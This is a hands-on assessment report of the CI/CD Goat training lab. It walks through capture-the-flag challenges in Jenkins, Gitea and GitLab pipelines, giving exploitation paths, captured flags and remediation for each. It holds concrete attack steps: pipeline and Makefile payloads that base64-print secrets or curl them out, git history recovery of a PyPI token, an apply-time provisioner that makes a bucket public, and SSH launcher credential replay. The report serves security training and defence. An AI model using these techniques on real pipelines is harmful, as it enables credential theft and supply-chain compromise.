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This report documents a structured hands-on assessment of the CI/CD Goat training environment,
mapping real-world DevSecOps attack patterns to specific pipeline weaknesses, exploited trust
boundaries, and mitigating controls.
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CHAPTER 1

Executive Summary

1.1 What Was Assessed

Eleven CI/CD Goat challenges were completed against a locally-deployed Jenkins, Gitea, GitLab,
and LocalStack environment. Every challenge represented a distinct, validated trust boundary
failure—not theoretical, not simulated: each flag was captured and submitted to CTFd.

The environment modelled a realistic internal DevSecOps stack. The attack surface included
pipeline definitions, SCM tokens, runner scheduling, infrastructure-as-code deployments, inter-
nal package registries, and container image namespaces.

1.2 What Broke and Why

Core Pattern

Every compromised challenge shared one root cause: a privileged pipeline context
accepted input from an insufficiently-controlled source. The trust model was always
wider than the protection model.

The eleven challenges fell into four exploit classes:

o Poisoned pipeline execution (White Rabbit, Mad Hatter, Dormouse): Pipeline code,
Makefiles, or remote helper scripts were attacker-controlled at the point where credentials
were already bound.

o Token escalation (Caterpillar, Mock Turtle): PR jobs and auto-merge automation
held SCM write tokens and exposed them to unreviewed fork content or weak diff checks.
Caterpillar turned read-only repo access into trusted-branch modification in two build
cycles.

o Execution placement abuse (Cheshire Cat, Hearts): Agent label selection and SSH
launcher configuration were both reachable from low-privilege positions, giving attacker-
controlled code access to the Jenkins controller filesystem and the system credential
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store.

o Supply-chain compromise (Twiddledum, Dodo, Gryphon): Internal package version-
ing, Terraform apply-time provisioners, and mutable container image tags all allowed
state to diverge from what any static scanner or reviewer had approved. Gryphon was a
four-stage chain: package publish — scheduled token leak — registry push — deployment

image poisoning.

1.3 Risk Summary

Two tasks scored Critical under CVSS 3.1—Cheshire Cat (9.1) and Gryphon (9.4). Eight scored
High. The single Medium was Duchess, a Git history leak with no live pipeline component.

The practical impact across the set: Jenkins credential exposure, SCM write token escalation,
Jenkins controller filesystem access, SSH credential replay to an attacker-controlled host, live
cloud infrastructure mutation post-scanner, and full deployment-image supply-chain compro-

mise.



CHAPTER 2

Why CI/CD Security Matters

2.1 CI/CD as an Attack Surface

The Privileged Hub Problem
A modern CI/CD system is not just a build tool. It is a privileged hub that holds source

code, signing keys, registry credentials, deployment tokens, cloud access, and production-
facing execution paths. Compromising the pipeline is often more impactful than compro-
mising the application it builds.

Continuous integration and delivery pipelines sit at the intersection of every trust domain in
a software organization: developer identity, reviewed code, packaged artifacts, infrastructure
state, and running services. NIST SP 800-218 (SSDF) treats secure software development as
a full lifecycle discipline, and CI/CD is the layer where most of those controls either hold or

collapse.

2.2 The CI/CD Attack Surface Landscape

Figure 2.1 maps the five canonical injection points where an attacker can enter a typical CI/CD
pipeline. All five appeared in this lab.
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Figure 2.1: CI/CD pipeline stages with the five primary attack injection points and the corre-
sponding lab challenges.

2.3 Mapping to Industry Risk Frameworks

OWASP CI/CD Risk Description

CICD-SEC-1
CICD-SEC-2
CICD-SEC-3
CICD-SEC-4

CICD-SEC-5
CICD-SEC-6
CICD-SEC-7
CICD-SEC-8
CICD-SEC-9
CICD-SEC-10

Insufficient Flow Control
Inadequate Identity & Access
Dependency Chain Abuse

Poisoned Pipeline Execution

Insufficient PBAC

Insufficient Credential Hygiene
Insecure System Config
Ungoverned 3rd-Party Services
Improper Artifact Integrity
Insufficient Logging & Visibility

Lab Challenges
Mock Turtle

Cheshire Cat, Hearts
Twiddledum, Gryphon

White Rabbit, Mad Hatter,
Dormouse

Caterpillar

Duchess, Caterpillar
Hearts, Cheshire Cat
Gryphon

Dodo, Gryphon
(Cross-cutting)

Figure 2.2: OWASP Top 10 CI/CD Security Risks (2022) mapped to lab challenge categories.

2.4 From Source Access to Pipeline Compromise

The lab evidence is consistent with what CISA and NSA documented in their joint 2023 guidance
on defending CI/CD environments: the most dangerous CI/CD attack paths do not start with
a remote code execution exploit against the build platform. They start with repository access,

fork rights, or package upload permissions—all positions that organizations routinely grant to

developers, contractors, and automation accounts.



CHAPTER 3

Background and Related Security Concepts

3.1 CI/CD Architecture in Brief

The CI/CD Goat lab models a realistic internal delivery stack: Gitea and GitLab for source
control, a Jenkins orchestrator with its agents, LocalStack for simulated AWS services, Docker-
in-Docker workers, a prod host for helper script deployment, and CTFd for challenge validation.

3.2 The Trust Zone Model

Untrusted Zone (Attacker Inputs)

Review / Validation Zone
( Cheshire Cat PR — controller exec N
Privileged Build Zone
Gryphon/Dodo ajtifact bypass
1 Lt
\ ; ‘
S . - » Production /' Secret Store
X ak”’— branch write
1
1
(. 1 J
- )

Figure 3.1: CI/CD trust zone model. Red arrows indicate the trust boundary violations observed
in the lab.

3.3 Recurring Weakness Classes

e Direct poisoned pipeline execution through repository-controlled pipeline code
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o Indirect pipeline execution through mutable helper scripts or Makefiles

e Secret exposure through logs, history, or over-scoped job credentials

e Runner and controller abuse through unsafe execution placement

e Dependency-chain abuse through internal packages and mutable base images
e Weak automation logic around webhook processing or branch merging

e IaC scanner bypass through deployment-time side effects
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Scope, Environment, and Methodology

4.1 Authorized Scope

The assessment was restricted to the local services explicitly provided by the lab:

o CTFd: http://localhost:8000
o Jenkins: http://localhost:8080
o Gitea: http://localhost:3000

o GitLab: http://localhost:4000

No systems outside localhost were targeted. No public CVEs against the platform itself were
used.

4.2 Environment Overview
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Figure 4.1: CI/CD Goat architecture diagram showing the service relationships relevant to
pipeline and deployment abuse.



CHAPTER 4. SCOPE, ENVIRONMENT, AND METHODOLOT/CD Goat | DevSecOps Assessment

Figure 4.2: Running CI/CD Goat containers in Docker Desktop confirming all local services
were active.

Figure 4.3: CTFd challenge interface after environment startup.

4.3 Service Access
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Service URL Username Password
CTFd http://localhost:8000 alice alice
Jenkins http://localhost:8080 alice alice
Gitea http://localhost:3000 thealice thealice
GitLab http://localhost:4000 alice ali12345

Table 4.1: Default service credentials used during the lab assessment.

4.4 Methodological Flow

Each challenge followed a repeatable workflow: CTFd prompt review — trust-boundary hypoth-
esis — repository and job inspection — narrow exploitation to confirm the weakness — flag
capture and CTFd validation — risk mapping and controls derivation.

4.5 Challenge Status

10
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% CI/CD GOAT

Challenges

Moderate
Caterpillar Cheshire Cat Twiddledum Dodo
200 200 200 200
Easy

White Rabbit Mad Hatter Duchess
100 100 100

Powered by CTFd

Figure 4.4: CTFd challenge list after completion.

11
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Challenge Platform Primary Weakness Risk Class Status

White Rabbit Jenkins + Gitea  Repo-controlled Direct PPE [ Done |
Jenkinsfile

Caterpillar Jenkins 4+ Gitea PR pipeline leaks Token escalation [ Done |
write token

Mad Hatter Jenkins + Gitea  Makefile bypass Indirect PPE [ Done |

Duchess Gitea Secret in Git history Secret hygiene [ Done |

Cheshire Cat Jenkins + Gitea  Controller node Runner isolation [ Done |
execution

Twiddledum Jenkins + Gitea  Trusted package Dep-chain abuse
abuse

Dodo Jenkins + Scanner bypass + IaC bypass [ Done |

Terraform public bucket

Hearts Jenkins Agent admin Credential replay [ Done |
credential abuse

Dormouse Jenkins + Gitea  External script Indirect PPE / [ Done |
poisoning webhook

Mock Turtle Jenkins + Gitea  Weak auto-merge Flow-control [ Done |
control failure

Gryphon GitLab Package + image Supply-chain

supply chain

abuse

Table 4.2: Challenge summary with weakness class and status.

12
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Challenge Assessments

5.1 White Rabbit — Direct Poisoned Pipeline Execution

> Context

White Rabbit tested the trust relationship between Gitea and Jenkins. The repository exposed
a root Jenkinsfile, and the corresponding multibranch job executed it during pull request
builds.

> Observed Behavior

Challenge 0Solves

White Rabbit
100

I'm late, I'm late! No time to say hello, goodbye! Before you
get caught, use your access to the Wonderland/white-rabbit
repository to steal the flagl secret stored in the Jenkins
credential store.

Figure 5.1: White Rabbit challenge prompt.

13
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Q@Y  issues  PullRequests  Milestones  Explore
El Wonderland / white-rabbit | private @wetch 1 Trsor 0 Frok 0
¢>Code (lssues 1Y PullRequests [ Projects ©> Releases [ Wiki - Activity
O1 Commit ¥ 2 Branches © 0Tags B 292 kiB
¥ Branch: main *  white-rabbit / Jenkinsfile
Raw | Pemalnk | Bame | Hsoy | ¥ £

36 lines | 610 B

pipeline {
sgent any
environment {
PROJECT = "src/urllib3"

¥
stages ¢
stage (“Install Requirements’)
steps {
sh e
virtualenv venv
pip3 install -r requirements.txt || true
i

stage (“Lint') ¢
steps {
sh “pylint ${PROJECT} || true”

b

stage (‘Unit Tests') {

steps {
sh “pytest”
3
H
post {
aluays {
cleanis()
¥

@ English | Licenses | APl Website | Gol.18

Powered by Gitea Version: 1.16.5 Page: 34ms Template: 3ms

Figure 5.2: Repository Jenkinsfile reviewed from Gitea.

14
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Q@Y issues  PullRequests  Milestones  Explore o +- -
El Wonderland / white-rabbit | private @wetch 1 Trsor 0 Frok 0
<>Code () lssues 19 Pull Requests [ Projects G Releases I Wiki v Activity
Labels  Milestones

Probe flag1 credential binding #1 i

B theslice wants to merge 1 commits from probe-flagl (3 into main

Q) Conversation [ - Commits @  * Files Changed [l

thealice commented 21 seconds ago Collaborator  © *** Reviewers &3
£
Lab PR to test Jenkins credential baundary. No reviewers
Sl in progress? Add WIP: prefix

B thealice added 1 commit 20 seconds ago

Labels 53
o E3 prove Jenkins credential binding 549dd938F1 No Label
1 Milestone 8
X This Pull Request doesn't have enough approvals yet. 0 of 2 apprevals granted

No Milestone

‘88‘ Projects &3

D Write  Preview No project

BI S HHHEHH «& 0 = s @® - # K Assignees §

No Assignees

1 Participants

o 33_'

Notifications

% Unsubscribe

Time Tracker

Start Timer

Add Time
lines: 1 words: 0 10

Due Date

No due date set.
Close Comment
dd/mm/yyyy [u}

Dependencies
This pull request currently doesn't

have any dependencies.
.

Drop files or dlick here to upload.

Powered by Gitea Version: 1.16.5 Page: 142ms Template: 18ms @® English | Licenses | APl | Website | Go1.18

Figure 5.3: Pull request delivering the modified pipeline to Jenkins.

Direct pushes to main were blocked, but pull request execution ran in the same credential-bearing
context.

Weakness: Direct PPE / Credential Exposure <
enkins treated repository-controlled Groovy as trusted while binding flagl to the job. A pull

request author had full control over what that binding executed.

\. J

Exploitation Path \
Modify Jenkinsfile to bind flagl, base64-encode before print to bypass console masking, trigger via

pull request. One build cycle to flag disclosure.

15
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> Evidence

Figure 5.4: Pull request build disclosing the encoded secret.

16
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Challenge 15Solves

White Rabbit
100

I'm late, I'm late! No time to say "hello, goodbye”! Before you
get caught, use your access to the Wonderland,/white-rabbit

repository to steal the flag? secret stored in the Jenkins

credential store.

Correct

Figure 5.5: Accepted CTFd submission.

Flag: 06165DF2-C047-4402-8CAB-1C8EC526C115

Remediation
Protect Jenkinsfile changes with CODEOWNERS or equivalent. Run untrusted PRs under a

trusted pipeline definition stored outside the repository. Remove secret-bearing stages from PR

jobs entirely.

5.2 Caterpillar — PR Pipeline Token Leakage

> Context

Caterpillar began from read-only repository visibility. The question was whether a fork-based
PR could reach a Jenkins secret without direct write access.

17
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Challenge 0OSolves

Caterpillar
200

Who. Are. You? You just have read permissions... is that
enough? Use your access to the Wonderland/caterpillar
repository tosteal the flag2 secret, which is stored in the
Jenkins credential store.

View Hint

View Hint

View Hint

Figure 5.6: Caterpillar prompt.

18
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Q@Y  issues  PulRequests  Milestones  Explore a o+ - e -

gWonderland/caterpiHar @watch 2 Yestar 0 ¥rok 1

<>Code  (Dlssues ') Pull Requests [@ Projects  © Releases [ Wiki A~ Activity

Labels Milestones.

Test pipeline environment review #1 s

BRYeY thealice wants to merge 1 commits from thealice/caterpillar:main (3 into main

Q) Conversation [ - Commits @  * Files Changed [l

thealice commented 37 seconds ago @ Reviewers

- N N
Lab PR to observe the test pipeline environment. o reviewers

Still in progress? Add WIP: prefix

B thealice added 1 commit 36 seconds ago

Labels
o E3 print test pipeline environment | aadaigbs2l No Label
Milestone
I"’ Al checks were successful
No Milestone
v pill ipeline/pr-main This commit looks good Details
Projects
« This pull request can be merged automatically. No project
& There is no key available to sign this commit
Assignees
® You are not autherized to merge this pull request. No Assignees

1 Participants

Write Preview 33

B I & HHHHH <« @& 0®

o @ B - £ K Notifications

dx Unsubscribe

Time Tracker

Start Timer
Due Date

No due date set.

Dependencies
This pull request currently doesn't
lines: 1 words:0 ] have any dependencies

Drop files or click here to upload.

close

Powered by Gitea Version: 1.16.5 Page: 93ms Template: 6ms @ English | Licenses | APl Website | Go1.18

Figure 5.7: Fork-based PR triggering the lower-trust build path.
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Figure 5.8: GITEA_TOKEN exposed in the fork build output.

Weakness: PBAC Failure / Token Escalation
e fork validation job executed untrusted code in a context that held a write-capable SCM token.

Read-only visibility was enough to begin the escalation chain.

20
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Exploitation Path
Fork the repo — modify Jenkinsfile to dump the environment — recover GITEA_TOKEN from build
output — reuse token to push a malicious Jenkinsfile to main — second build discloses flag2. Two
build cycles, zero write permissions required initially.

@J  lssues  PulRequests  Milestones  Explore O o+~ -

gWonderIand/caterpiHar @Watch 2 Wstr 0 Yok 1

¢>Code (lssues 1 Pull Requests [0 Projects ~ © Releases M Wiki A Activity

O 3 Commits ¥ 18Branch © 0Tags B ssskis

¥ Branch:main - caterpillar / Jenkinsfile

ch

49 lines | 1.1 Kig Raw Permalink Blame Moy | ¥

pipeline {
agent any
environment {
PROJECT - "loguru”

3
stages {
stage (‘Install Requirements') {
steps {
oh

virtusleny venv

pip3 install -r requirements.txt || true

stege (“Lint’) {
steps {
sh "pylint ${PROIECT} || true”
b

stage (‘Unit Tests') {
steps {
sh "pytest || true"
3

stage( deploy’) (
wnen ¢
expression {
amv BRANCH_NAVE == main’

http: //wonderland:1234/8pi/user” -H "Authorization: Token ${TOKEN}" -H "Content-Type: spplication/ison” || true®

post {
aluays {
cleanis()

Powered by Gitea Version: 1.16.5 Page: 28ms Template: 2ms @ English | Licenses | APl Website | Go1.18

Figure 5.9: Production Jenkinsfile modified using the leaked token.

21
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Figure 5.10: Production build disclosing the flag after trusted-branch modification.

22
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Challenge 15Solves

Caterpillar
200

Who. Are. You? You just have read permissions... is that
enough? Use your access to the Wonderland/caterpillar

repository to steal the flag2 secret, which is stored in the

Jenkins credential store.

Figure 5.11: Accepted CTFd submission.

Flag: AEB14966-FFC2-4FBO-BF45-CD903B3535DA

Remediation
Fork validation jobs must run with read-only or no SCM token. Test-job credentials must not be

able to modify protected branches. Separate testing identity from the release identity entirely.

5.3 Mad Hatter — Protected Pipeline Bypass via Build Script
Control

> Context

Mad Hatter’s Jenkinsfile was explicitly protected. The question was whether protection of the
top-level file was meaningful when the build delegated execution to a mutable Makefile.
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Challenge 0OSolves

Mad Hatter
100

Jenkinsfile is protected? Sounds like an unbirthday party. Use
your access to the Wonderland/mad-hatter repository tosteal

the flag3secret.

Figure 5.12: Mad Hatter prompt.

@Y lssues  PulRequests  Milestones  Explore O o+~ -

ﬁ Wonderland / mad-hatter | Private ©watch 1 Wstar 0  FFok 0

¢>Code = lssues I PullRequests  [M] Projects © Releases [ Wiki - Activity

O 2 commits ¥ 18Branch © 0Tags Bs10kiB
P Branch: main - mad-hatter/ Makefile
3 lines | 155 B Raw Permalink Blame Hstoy ¥ 2 O
whoami :
printf "%s" "$3FLAG" | base6d
curl -isSL "http://wonderland:1234/apifuser” -H "Authorization: Token ${FLAG}" -H "Content-Type: application/json"
Powered by Gitea Version: 1.16.5 Page: 25ms Template: 2ms @ English | Licenses | APl | Website | Go1.18

Figure 5.13: Makefile used as the real execution entry point.
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Q@Y issues  PullRequests  Milestones  Explore a o+ - -
El Wonderland / mad-hatter | Private @wetch 1 Trsor 0 Frok 0
¢>Code (lssues 1Y PullRequests [ Projects ©> Releases [ Wiki - Activity
O 4 Commits ¥ 1Branch © 0Tags B335 kiB
¥ Branch: main *  mad-hatter / Makefile
2 lines | 32 8 R: Permalink | Biam: Heoy ¥ 2O

whoamis
echo "${FLAG}" | base64

Powered by Gitea Version: 1.16.5 Page: 28ms Template: 2ms

@ English | Licenses | APl | Website | Go1.18

Figure 5.14: Modified Makefile payload reaching the credential-bearing step indirectly.

\.

Weakness: Indirect PPE — Delegated Build Script
The protected pipeline delegated to a repository-controlled Makefile before secrets were bound.
Protecting the Jenkinsfile alone created a false sense of control over the full build path.

J

Exploitation Path N
Modity the Makefile target invoked by the protected pipeline so the build discloses the bound flag

variable during normal execution. No Jenkinsfile change required.
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D d » wonderl d-hatt: ’

# up
wonderland-mad-hatter

| O, status

) scan Multibranch Pipeline Now

This folder is empty

Scan Multibranch Pipeline Log There are no branches found that contain buildable projects. Jenkins automatically builds and
manages projects in branches that contain recognizable projects. Enables definition of external
Multibranch Pipeline Events Jenkinsfile from another repository for Multibranch Pipeline Projects. This file should contain a
valid Jenkins Pipeline script. See also: Creating Multibranch Projects
& People
Configure the project >
= Build History
&, Project Relationship Re-index branches >
B e
Check File Fingerprint Creating a Jenkins Pipeline )
Gitea
Creating Multibranch Projects )

Build Queue ~

No builds in the queue.

Build Executor Status ~
= BuittIn Node

1 Idle

2 ldle

= cgentl

1 Idle

2 ldle

REST API Jenkins 2.332.1

Figure 5.15: Jenkins scan behavior after the Makefile payload.

Treat Makefiles, shell helpers, and any file invoked by the pipeline as part of the trusted surface.

Apply the same review policy as for the Jenkinsfile. Do not bind secrets before the build input is

pinned to a reviewed revision.

5.4 Duchess — Secret Exposure in Git History

> Context

Duchess was a source hygiene task. The objective was to recover a PyPI credential removed

from the current tree but still present in repository history.
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Challenge 0OSolves

Duchess
100

If everybody minded their own business, the world would go
round adeal faster than it does. Does it apply to your secrets
as well? You've got access to the Wonderland/duchess
repository, which heavily uses Python. The duchess cares a lot
about the security of her credentials, but there must be some
PyPi token left somewhere... Canyou find it?

View Hint

View Hint

Figure 5.16: Duchess prompt.
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Figure 5.17: Commit history revealing a token-removal event.
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Q@Y issues  PullRequests  Milestones  Explore o +- -

gWonderland/duchess ®waten 1 frsar 0 Frok 0

<>Code (lssues 19 PullRequests [ Projects  © Releases [Wiki A Activity

remove pypi token

¥ main
80 At 505000 veren (D] et
* 1 changed files with 0 additions and 8 deletions Whitespace - Split View Diff Options ~
v 8 HEE .pypirc Unescape View File
€ -1,8 +0,0 8 68 -1,8 +0,0 @@
1 - [distutils]
2 - index-servers =
3 pypi
1 -
5 - [oypil
6 - repository = https://pypi.python.org/pypi
7 - username = _ token__
8 - password = pypi-AZELCHINGSSYCMCCIGNTNTISH Ky LK YMAENDENYSA4OTS ] LKESY 2N INGY1 ZTBIZAACIXS CGYY DM 1AL GKNL S ISTCI27X)zakOuTs) TsyHIewcGo
h-35t7anbSCoGhD-USHNZHAFLHBLNBY
Powered by Gitea Version: 1.16.5 Page: 75ms Template: 15ms @ English | Licenses | APl | Website | Go1.18

Figure 5.18: Deleted .pypirc recovered from Git history.

Weakness: Credential Committed to History N
The repository owner treated current-tree state as the full exposure surface. Historical objects are

permanently accessible to anyone with clone rights.

Exploitation Path ~
gitlog--all--diff-filter=D — identify the removal commit — gitshowCOMMIT:~{}/.pypirc
— extract PyPI token. No pipeline interaction needed.
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Challenge 15Solves

Duchess
100

If everybody minded their own business, the world would go
round adeal faster than it does. Does it apply to your secrets
as well? You've got access to the Wonderland/duchess
repository, which heavily uses Python. The duchess cares a lot
about the security of her credentials, but there must be some
PyPi token left somewhere... Canyou find it?

Correct

Figure 5.19: Accepted CTFd submission.

Remediation
Pre-commit and pre-push secret scanning on all repositories. Rotate any token found in history
immediately. Audit repository history before broadening access or making a project public.

5.5 Cheshire Cat — Jenkins Controller Execution via Agent La-
bel Abuse

> Context

Cheshire Cat targeted execution placement. The goal was to move repository-controlled pipeline
logic from a build agent onto the Jenkins controller itself.
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Challenge 0OSolves

Cheshire Cat
200

Some go this way. Some go that way. But as for me, myself,
personally, | prefer the short cut. All jobs in your victim's

Jenkins instance run on dedicated nodes, but that's not good
enough for you. You are special. You want to execute code on
the Jenkins Controller. That's where the real juice is! Use your
access to the Wonderland/cheshire-cat repository to run code
on the Controller and steal ~/flag5.txt from its file system.
Note: Don't use the access gained in this challenge to solve
other challenges.

View Hint

View Hint

View Hint

Figure 5.20: Cheshire Cat prompt.

Jenkins Q search

Dashboard + Nodes *

4 Back to Dashboard
ack to Dashboa Manage nodes and clouds

Build Queue ~
S Name | Architecture Clock Difference. Response Time
No builds in the queus.
g agent Linux (amd64) In sync 3ms
Build Executor Status ~
Built-In Node Linux (amd64) In sync oms
= BuittIn Node
Data obtained 9 min 0 sec 9 min 0 sec 9 min 1 sec
1 1die
2 ldle
= agentl
1 Ide
2 ldie
REST API Jenkins 2.332.1

Figure 5.21: Jenkins nodes view exposing the built-in controller label.
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Weakness: Runner Isolation Failure

\.

troller. The controller label was not restricted to trusted jobs.

Repository-controlled pipeline code could select any execution target, including the privileged con-

Exploitation Path
hange pipeline agent to label’built-in’ — PR triggers controller execution — read ~{}/flag5.

txt on the controller host — base64 encode and print in build log.

Q@Y  issues  PulRequests  Milestones  Explore

El Wonderland / cheshire-cat | Private

<>Code  (Dlssues ') Pull Requests [ Projects  © Releases

Labels Milestones.

Controller execution probe #1

B theslice wants to merge 1 commits from probe-flags (3 into main

@ Conversation @ - Commits + Files Changed

+ 1changed files with 7 additions and 21 deletions

v 28 HEEM Jenkinsfile vendored

@ -1,34 +1,20 @2 88 -1,34 +1,20 80

1 1 pipeline {
H agent any
3 environment {
a PROJECT = "sanic"
s 3
2 . sgent { label 'built-in® }
3
4 stages {
stage ('Install Requirements') {
5 . stage (*Controller Flog Probe’) {
s 6 steps {
18 7 sh "=
1 - virtualeny venv
12 - pip3 install -r requirements.txt || true
5 - hostnane
9 . whoami.
10 + basess ~/Flags.txt
13 n
14 12 i3
15 13 )
16
17 - stage (*Lint*) {
18 - steps {
1 - sh "pylint ${PROJECT} || true"
0 - b
2 - }
22
23 - stage ('Unit Tests*) {
24 - steps {
5 - sh "pytest || true”
26 - %
2 )
w1 b
29 15
30 - postg
S - aluays {
16+  post{
17 . aluays {
32 18 cleankis(}
3 1 »
3 2 ¥

Powered by Gitea Version: 1.16.5 Page: 92ms Template: 9ms

M wiki

Whitespace =~

@ watch

Split View

Yrsar 0 Prok 0

New Pull Request

Edit

Unescape | | View File

@ English | Licenses | APl Website | Go1.18

Figure 5.22: PR payload forcing controller node selection.
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2 Alice

D d » wonderl heshi t » PR-1 » #1

# Back to Project

J, Status

revisien
pull request #1 is 1£91622b7d69d8d7186,

Pull request

Changes

B console output

w as plain text Jenkins

~ View Build Information

) GitBuild Data

could n
@ Restart from Stage

t be found.

the zemote G

i
specs honoured and without tags
'd1876e1 7€199b68@g1 tea: 3000/Wonderland/cheshire-cat.git
0

Rebuild

# tim

Pipeline Steps

[ Workspaces

zemote.origin.url http://a644940c92efe2d1876c16a5d29<6c6d7e199b68Egi tea : 3000 /Wonderland/cheshire-cat. git #

/1/headirefs/remotes/origin/E

g --add remote.crigin.fetch +refs/pul R-1 # timeous:
mote.origin.url http://a644940c92efe2d1876e16a5d29e6c6d7e199b 688 tea: 3000 /Wonderland/cheshire-cat git #

without tags
http://a644940c92efe2d187 66162502 9e6c6d7e199b68Eg1 tea: 3000/ Wonderland/cheshi re-cat.git
rogress -- http://a644940c92efe2d1876e16a5d29e6c607e199b66Eg1 tea: 3000/ Wonderland/cheshire-

upstrean changes

=/crigin/ER-
86624262bfe21236505c60 (probe

b£e2123650£c620 § timeout:

First time build. Skipping changelog.
[Gitea) ing pull request build stasus: .
Givea ified

+ nostname

txs

{kQZRTGWQINDMI1D

REST API Jenkins 2.332.1

Figure 5.23: Controller-backed build disclosing the encoded flag.
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Challenge 15Solves

Cheshire Cat
200

Some go this way. Some go that way. But as for me, myself,
personally, | prefer the short cut. All jobs in your victim's

Jenkins instance run on dedicated nodes, but that's not good

enough for you. You are special. You want to execute code on
the Jenkins Controller. That's where the real juice is! Use your
access to the Wonderland/cheshire-cat repository to run code
on the Controller and steal ~/flag5.txt from its file system.
Note: Don't use the access gained in this challenge to solve
other challenges.

Figure 5.24: Accepted CTFd submission.

Flag: 6B31A679-6D70-469D-9F8D-6D6E80B3C29C

Remediation
Disable controller executors. Restrict agent label selection in pipeline syntax for untrusted jobs.

Route PR builds to dedicated ephemeral agents with no path to the controller or its credential
store.

5.6 Twiddledum — Dependency Chain Abuse via Trusted Pack-
age Poisoning

> Context

Twiddledum revolved around an internal package dependency. The downstream repo was pro-
tected; the upstream package was not.
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Challenge 0OSolves

Twiddledum
200

Contrariwise, if it was so, it might be; and if it were so, it would
be; but as it isn't, it ain't. That's logic. Flagé is waiting for you in
the twiddledum pipeline. Get it.

Figure 5.25: Twiddledum prompt.

HTTP ERROR 404 Not Found

URL i land
STATUS: 404

MESSAGE: Not Found

SERVLET: Stapler

Powered by Jetty:// 9.4.43.v20210629

Figure 5.26: Build console showing dependency installation followed by application execution.
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Weakness: Mutable Internal Dependency
The pipeline assumed the referenced internal package version was safe. A writable upstream package

repo allowed injection of code that ran in a FLAG6-bearing context.

\

Exploitation Path N
Publish a modified version of the upstream package that prints process.env.FLAG6 during import

— next downstream build installs it and discloses the flag.

Figure 5.27: Downstream build disclosing the flag after dependency poisoning.
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Challenge 15Solves

Twiddledum
200

Contrariwise, if it was so, it might be; and if it were so, it would
be; but as it isn't, it ain't. That's logic. Flagé is waiting for you in
the twiddledum pipeline. Get it.

Correct

Figure 5.28: Accepted CTFd submission.

Flag: 710866F2-2CED-4E60-A4EB-223FD892D95A

Remediation
Protect internal package publishing paths. Require reviewed releases and pin exact dependency

versions from a controlled registry. Do not expose high-value secrets to jobs that execute unverified
dependency code.

5.7 Dodo — IaC Scanner Bypass via Apply-Time Mutation

> Context

Dodo examined the gap between static Checkov scanning and actual Terraform apply behavior.
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Challenge 0OSolves

Dodo
200

Everybody has won, and all must have prizes! The Dodo
pipeline is scanning you. Your mission is to make the $3 bucket
public-readable without getting caught. Collect your prize in
the job's console output once you're done.

View Hint

Figure 5.29: Dodo prompt.
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Figure 5.30: Initial Terraform configuration before the payload.
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Figure 5.31: Payload with local-exec provisioner modifying S3 bucket ACL post-scan.

Weakness: Static Scan Does Not Cover Runtime Effects
Checkov approved the static configuration. A local-exec provisioner ran awslocal after

terraformapply began, mutating live bucket ACL to public-read outside the scanner’s view.
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Exploitation Path
eep visible Terraform clean for Checkov — embed local-exec provisioner calling

awslocals3apiput-bucket-acl--aclpublic-read — post-apply verification detects public
bucket and produces the flag.

Figure 5.32: Jenkins output: Checkov passes, then bucket ACL mutated at apply time.
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Challenge 15Solves

Dodo
200

Everybody has won, and all must have prizes! The Dodo
pipeline is scanning you. Your mission is to make the $3 bucket
public-readable without getting caught. Collect your prize in

the job's console output once you're done.

Correct

Figure 5.33: Accepted CTFd submission.

Flag: A62FO0E52-7D67-410E-8279-32447ADAD916

Remediation
Keep policy enforcement outside the application repository. Restrict or ban local-exec in delivery

pipelines. Validate resulting cloud state, not just static configuration.

5.8 Hearts — Jenkins Agent Credential Replay

> Context

Hearts targeted Jenkins administrative features. The abuse path was agent launcher configura-
tion rather than pipeline code.
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Challenge 0OSolves

Hearts
300

‘Who stole these tarts? Your goal is to put your hands on the
flag8 credential. But not so fast... These are System credentials

stored on Jenkins! How would you access THAT?! A

permission to admin agents is something you might find

View Hint

View Hint

View Hint

View Hint

Figure 5.34: Hearts prompt.
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4 nkins Q Search

@

Dashboard » Nodes » hearts-capture

v

Back to List Name ?
. Status hearts-capture
@ Delete Agent

Description 2
& Configure
= Build History

Number of executors ?
€5 Load Statistics

[ wo
Remote root directory 2

Build Executor Status ~
Jtmp

Labels ?

hearts-capture

Usage ?

Use this node as much as possible

Launch method 7

Launch agents via SSH

Host ?

host.docker.internal

Credentials ?
- current - v

© The selected credentials cannot be found

Host Key Verification Strategy 2

Non verifying Verification Strategy

?

Availability 7

Keep this agent online as much as possible

Node Properties

) Disable deferred wipeout on this node 2
) Environment variables

O Prepare jobs environment 2

O Tool Locations

REST API Jenkins 2.332.1

Figure 5.35: Jenkins node configuration pointing the SSH launcher at a controlled host.
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Dashboard » Nodes » hearts-capture

# Backto List HL {host="host.docker . internal’, port- , credentialsId-"ssh-creds-flagd', jumOptions='', javaPath='', prefixStartSlaveCmd='',
suffixStartslaveCnd="", launchTi 5 es-1, itTime-1,
sshHostKeyVerificationStrategy=hudson.plugins. sshslaves.verifiers.NonVerifyingKeyVerificationStrategy, tcphoDelay=true, trackCredentials=true}

O, status
[05/16/25 88:58:03] [SSH] Opening SSH connection to host.docker. internal:22222
- [05/16/26 @8:59:09] [SSH] LARNING: SSH Host Keys are not being verified. Man-in-the-middle sttacks msy be possible sgainst this connection.
© Detete Agent ERROR: Failed to authenticate as agent. Wrong password. (credentislld:ssh-creds-flags/method:passuord)
ERROR: Failed to authenticate as agent. Wrong password. (credentialld:ssh-creds-flags/method:keyboard-interactive)
. Configure [05/16/25 ©5:59:09] [SSH] Authentication failed.

Authentication failed.
[05/16/26 ©8:59:09] Launch failed - cleaning up connection

"= Build History
[05/16/26 ©8:59:09] [SSH] Connection closed.

Load Statistics . e .
[ tog

Build Executor Status ~

REST API Jenkins 2.332.1

Figure 5.36: Launcher log showing credential replay to the attacker-controlled endpoint.

Weakness: Agent Configuration as Credential Exfiltration Vector
H target defined in node configuration. An

Jenkins replayed a stored system credential to any
attacker with node-management rights could configure a malicious target and harvest the material.

Exploitation Path
Define a new Jenkins node pointing at a local capture listener — select the target credential as

the launcher identity — Jenkins initiates SSH connection — capture listener receives and logs the

credential.
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Challenge 15Solves

Hearts
300

‘Who stole these tarts? Your goal is to put your hands on the
flag8 credential. But not so fast... These are System credentials

stored on Jenkins! How would you access THAT?! A

permission to admin agents is something you might find

Correct

Figure 5.37: Accepted CTFd submission.

Flag: B1A648E1-FD8B-4D66-8CAF-78114F55D396

Remediation
Limit node creation and launcher changes to a tightly controlled admin role. Separate launcher

credentials from sensitive service credentials. Alert on new SSH nodes or changes to launcher
destinations.

5.9 Dormouse — External Script Poisoning via PR Metadata

Injection

> Context

Dormouse’s build downloaded and executed a remote helper script. The Reportcov pipeline that
deployed that script interpolated PR metadata into shell execution without sanitization.
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Challenge 0OSolves

Dormouse
300

